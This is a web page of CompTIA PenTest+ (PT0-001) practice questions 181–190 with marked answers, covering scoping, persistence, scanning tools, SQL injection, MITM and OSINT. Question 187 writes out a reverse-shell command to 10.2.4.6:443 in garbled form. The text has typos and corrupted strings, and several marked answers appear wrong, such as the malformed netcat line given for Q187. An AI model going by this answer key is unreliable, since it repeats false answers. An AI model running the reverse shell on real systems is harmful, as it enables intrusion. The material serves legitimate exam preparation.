CompTIA PT0-001 Online Practice Questions and Exam Preparation

CompTIA PT0-001 Online Questions & Answers

• Question 181:

  Which of the following has a direct and significant impact on the budget of the security assessment?

  A. Scoping
  B. Scheduling
  C. Compliance requirement
  D. Target risk
  D. Target risk

• Question 182:

  During a penetration test a tester Identifies traditional antivirus running on the exploited server. Which of the following techniques would BEST ensure persistence in a post-exploitation phase?

  A. Shell binary placed in C \windowsttemp
  B. Modified daemons
  C. New user creation
  D. Backdoored executaWes
  B. Modified daemons

• Question 183:

  Which of the following tools can be used to perform a basic remote vulnerability scan of a website's configuration?

  A. Mimikatz
  B. BeEF
  C. Nikto
  D. Patator
  C. Nikto

• Question 184:

  A security consultant found a SCADA device in one of the VLANs in scope. Which of the following actions would BEST create a potentially destructive outcome against device?

  A. Launch an SNMP password brute force attack against the device.
  B. Lunch a Nessus vulnerability scan against the device.
  C. Launch a DNS cache poisoning attack against the device.
  D. Launch an SMB exploit against the device.
  A. Launch an SNMP password brute force attack against the device.

• Question 185:

  A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?

  A. Stored XSS
  B. Fill path disclosure
  C. Expired certificate
  D. Clickjacking
  A. Stored XSS

• Question 186:

  A penetration tester has been hired to perform a penetration test for an organization. Which of the following is indicative of an error-based SQL injection attack?

  A. a=1 or 1　
  B. 1=1 or b　
  C. 1=1 or 2　
  D. 1=1 or a　
  A. a=1 or 1　

• Question 187:

  A tester intends to run the following command on a target system:

  bash -i >and /dev/tcp/10.2.4.6/443 0> and1

  Which of the following additional commands would need to be executed on the tester's Linux system to make the previous command successful?

  A. nc -nvlp 443
  B. nc 10.2.4.6 443
  C. nc -w3 10.2.4.6 443
  D. nc-/bin/ah 10.2.4.6 443
  D. nc-/bin/ah 10.2.4.6 443

• Question 188:

  A penetration tester is required to report installed shells on compromised systems. Which of the following is the reason?

  A. To allow another security consultant access to the shell
  B. To allow the developer to troubleshoot the vulnerability
  C. To allow the systems administrator to perform the cleanup
  D. To allow the systems administrator to write a rule on the WAF
  B. To allow the developer to troubleshoot the vulnerability

• Question 189:

  At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information?

  A. Enumeration of services
  B. OSINT gathering
  C. Port scanning
  D. Social engineering
  B. OSINT gathering

• Question 190:

  A penetration tester is connected to a client's local network and wants to passively identify cleartext protocols and potentially sensitive data being communicated across the network. Which of the following is the BEST approach to take?

  A. Run a network vulnerability scan.
  B. Run a stress test.
  C. Run an MITM attack.
  D. Run a port scan.
  C. Run an MITM attack.